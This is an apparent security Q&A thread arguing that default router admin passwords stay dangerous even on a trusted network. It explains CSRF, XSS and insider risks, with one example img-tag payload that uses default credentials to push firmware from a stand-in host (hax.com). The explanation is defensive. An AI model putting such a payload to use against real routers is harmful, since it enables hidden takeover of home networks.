There are a lot of articles addressing the dangers of default router admin passwords. Certain security applications will also detect default router admin passwords as a vulnerability. However, these articles all focus on what could possibly happen if your router was compromised.

But suppose we have a router configured such that the admin panel is only open to the local network. Furthermore, suppose that the password to connect to the network (i.e. via wifi) is sufficiently secure (i.e. very high entropy), and only trusted users are allowed on the network.

Under these conditions, could the router still be compromised? Is there still a need to change the default router admin password? My thoughts are that if an attacker can't get into the network, they can't compromise the router regardless of the router's admin password. CSRF is a possibility, but that can be defended against with CSRF token. Are there any other possibilities I haven't considered?


Is it dangerous to use default router admin passwords if only trusted users are allowed on the network?


Yes, it's dangerous. Here are a few more "technical" ways to do it (other than saying it's bad):

1. No CSRF Protection
You could be happily visiting a website, and there could be any number of issues with it:

The website itself was haxored and has malicious content inserted in it, or;

Any of the elements on the page have been MITM in the middle attacked (shut up, I'm trying to be funny) and have had elements intercepted with The Thing(tm), and;

CSRF attack was inserted by style, img, link, or anything else:
Rough example:
<img src="http://admin:admin@192.168.0.1/updateFirmware.cgi?file=hxxp://hax.com/hax.bin&confirmUpgrade=true"/>


In many cases, the CSRF protection won't help if you can log in with admin:admin@routerip through a link like that. It will create a new session and token for you instead of using your current one.

Congratulations on your newest installation of Router Backdoor(tm) with full shell access.

2. CSRF protection exists, but not Proper XSS Protection
Escape context and insert hax.js, or just JS code which could perform the following functions:

Steal CSRF token with javascript
See <img src=""/> above.

Also, .svg images can bypass a lot of XSS protection.

3. Router configuration page is accessible via the wireless network?
Someone logs in to your wireless network, visits the router configuration page and makes necessary changes/upgrades the firmware/redirects DNS/whatever they want. Like the first one, but with a point-and-click interface instead.

4. Other ways

Disgruntled employees
If anyone finds their way on your network through another compromised machine, they can use that machine to compromise your router and then you're boned.

Keep in mind, XSS/CSRF attacks could exist, or even be added during upgrades, if the vendor is crap.
So don't do it. Please. My heart can't take it. :(
